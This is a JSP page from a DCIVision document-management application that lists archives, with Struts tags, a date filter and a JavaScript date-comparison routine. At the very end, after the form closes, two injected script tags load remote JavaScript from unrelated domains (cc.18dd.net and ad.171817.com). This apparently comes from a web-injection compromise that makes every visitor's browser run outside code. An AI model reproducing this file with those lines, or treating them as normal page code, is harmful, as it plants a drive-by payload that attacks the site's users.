<%
/*
 * @(#)ListDmsArchive.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsArchive.jsp

  This is a ListDmsArchive page.  It shows the System User Defined Index in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      23/10/2003
    @version            $Revision: 1.18.4.16 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsArchiveForm" scope="request" class="com.dcivision.dms.web.ListDmsArchiveForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsArchiveList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.archive_name_desc", "ARCHIVE_NAME"},
                            {"dms.label.archive_type", "ARCHIVE_TYPE"},
                            {"dms.label.archive_date_from", "ARCHIVE_DATE_FROM"},
                            {"dms.label.archive_date_to", "ARCHIVE_DATE_TO"},
                            {"dms.label.archive_archived_on", "UPDATE_DATE"},
                            {"dms.label.archive_archived_by", "UPDATER_ID"},
                            {"dms.label.restore", GlobalConstant.NOT_AVAILABLE}
                          };

	String[][] SEARCH_MAP = { 
                            {"dms.label.archive_name_desc", "ARCHIVE_NAME"}
                };

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
%>
<script language="javascript">
<!--
function OpSearchByPeriodType(period){
    document.listDmsArchiveForm.periodType.value=period;
    document.listDmsArchiveForm.submit();
    return false;
}

function OpCustListReset(frm){
/*  document.listDmsArchiveForm.accessDateFrom.value='';
  document.listDmsArchiveForm.accessDateTo.value='';
  */
  document.listDmsArchiveForm.periodType.value='month';
  OpListReset(frm);
}

function OpCustList(frm, sortValue, sortOrder) {
  /*
	 *	Update Code Start
	 *	Author				Jim.Zhou
	 *	Date					2006/04/11
	 *	Bug						#5070
	 */
  document.listDmsArchiveForm.periodType.value='';
  /*
	 *	Update Code End
	 */
  if(document.listDmsArchiveForm.accessDateFrom.value != "" && document.listDmsArchiveForm.accessDateTo.value != "")  {
    if (compareDateValue(document.listDmsArchiveForm.accessDateFrom.value,document.listDmsArchiveForm.accessDateTo.value,true) > -1){
      alert("<bean:message key='dms.message.end_date_earlier_than_start_time'/>");
      return (false);
    }      
  }
  OpList(frm, sortValue, sortOrder);
 
} 

function compareDateValue(dateObj1, dateObj2, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate1 = null;
  if (dateObj1!=null && dateObj1!='') {
    year1 = dateObj1.substring(yearStart, yearEnd+1);
    month1 = dateObj1.substring(monthStart, monthEnd+1);
    day1 = dateObj1.substring(dayStart, dayEnd+1);
    hour1 = dateObj1.substring(hourStart, hourEnd+1);
    min1 = dateObj1.substring(minStart, minEnd+1);
    sec1 = dateObj1.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate1 = new Date(year1, month1-1, day1);
    } else {
      jsDate1 = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  jsDate2 = null;
  if (dateObj2!=null && dateObj2!='') {
    year2 = dateObj2.substring(yearStart, yearEnd+1);
    month2 = dateObj2.substring(monthStart, monthEnd+1);
    day2 = dateObj2.substring(dayStart, dayEnd+1);
    hour2 = dateObj2.substring(hourStart, hourEnd+1);
    min2 = dateObj2.substring(minStart, minEnd+1);
    sec2 = dateObj2.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate2 = new Date(year2, month2-1, day2);
    } else {
      jsDate2 = new Date(year2, month2-1, day2, hour2, min2, sec2);
    }
  }
  if (jsDate1==null && jsDate2==null) {
    return 0; //treat as the same
  } else if (jsDate1==null) {
    return 1; //date 2 is later
  } else if (jsDate2==null) {
    return -1; //date 1 is earlier
  } else {
    if (jsDate1-jsDate2>0) {
      return 1; //date1 is later than date2
    } else if (jsDate1-jsDate2<0 || jsDate1-jsDate2==0) {
      return -1; //date1 is earlier than date2
    } else {
      return 0; //they are equals
    }
  }
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsArchive" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="periodType"/>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link='<%=request.getContextPath() + "/dms/ListDmsArchiveDirectory.do?curFunctionCode=" + SystemFunctionConstant.DMS_ARCHIVE%>'/>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.view'/>
                </td>
                <td class="filterPanelItem" nowrap>
                	<logic:notEqual name='listDmsArchiveForm' property='periodType' value='today'><a href="javascript://" onClick="return OpSearchByPeriodType('today');"></logic:notEqual><logic:equal name='listDmsArchiveForm' property='periodType' value='today'><font class='highlightColor'></logic:equal><bean:message key='common.label.today'/><logic:equal name='listDmsArchiveForm' property='periodType' value='today'></font></logic:equal><logic:notEqual name='listDmsArchiveForm' property='periodType' value='today'></a></logic:notEqual>&nbsp;|&nbsp;
                	<logic:notEqual name='listDmsArchiveForm' property='periodType' value='week'><a href="javascript://" onClick="return OpSearchByPeriodType('week');"></logic:notEqual><logic:equal name='listDmsArchiveForm' property='periodType' value='week'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_week'/><logic:equal name='listDmsArchiveForm' property='periodType' value='week'></font></logic:equal><logic:notEqual name='listDmsArchiveForm' property='periodType' value='week'></a></logic:notEqual>&nbsp;|&nbsp;
                	<logic:notEqual name='listDmsArchiveForm' property='periodType' value='month'><a href="javascript://" onClick="return OpSearchByPeriodType('month');"></logic:notEqual><logic:equal name='listDmsArchiveForm' property='periodType' value='month'><font class='highlightColor'></logic:equal><bean:message key='common.label.this_month'/><logic:equal name='listDmsArchiveForm' property='periodType' value='month'></font></logic:equal><logic:notEqual name='listDmsArchiveForm' property='periodType' value='month'></a></logic:notEqual>&nbsp;|&nbsp;
                	<logic:notEqual name='listDmsArchiveForm' property='periodType' value='full'><a href="javascript://" onClick="return OpSearchByPeriodType('full');"></logic:notEqual><logic:equal name='listDmsArchiveForm' property='periodType' value='full'><font class='highlightColor'></logic:equal><bean:message key='common.label.full_list'/><logic:equal name='listDmsArchiveForm' property='periodType' value='full'></font></logic:equal><logic:notEqual name='listDmsArchiveForm' property='periodType' value='full'></a></logic:notEqual>
                </td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_from'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateFrom'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='common.label.access_to'/>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:datepicker property='accessDateTo'/>
                </td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    	<html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>

                </td>
                <td class="filterPanelItem" nowrap>
                	<html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                		<html:options listName='criteriaList'/>
                	</html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
                </td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsArchiveForm, '${listDmsArchiveForm.sortAttribute}', '${listDmsArchiveForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsArchiveForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsArchiveForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsArchiveForm.getSortAttribute()%>" sortOrder="<%=listDmsArchiveForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="Archive" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)Archive).getID()%>);">
    <td align="center">
    	<bean:write name='Archive' property='archiveName'/>
    </td>
    <td align="center">
      <% if ( DmsArchive.ARCHIVE_TYPE.equals( ((DmsArchive)Archive).getArchiveType() ) ) { %>
        <bean:message key='dms.label.archive_type_archive'/>
      <% } else { %>
        <bean:message key='dms.label.archive_type_backup'/>
      <% } %>
    </td>
    <td align="center">
    	<bean:write name='Archive' property='archiveDateFrom' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
    </td>
    <td align="center">
    	<bean:write name='Archive' property='archiveDateTo' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
    </td>
    <td class="bodyVerySmall"><bean:write name='Archive' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='Archive' property='updaterName'/></td>
    <td align="center">
      <% if ( DmsArchive.ARCHIVE_TYPE.equals( ((DmsArchive)Archive).getArchiveType() ) ) { %>
        <logic:permission right="S">
          <a href="ListDmsArchiveDetail.do?archiveID=<bean:write name='Archive' property='ID'/>"><html:img src="IconRestore.gif"  align='absmiddle'/></a>
          <html:img src="IconRestoreDisable.gif"  align='absmiddle'/>
        </logic:permission>
      <% } else { %>  
        &nbsp;
      <% } %>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsArchiveForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>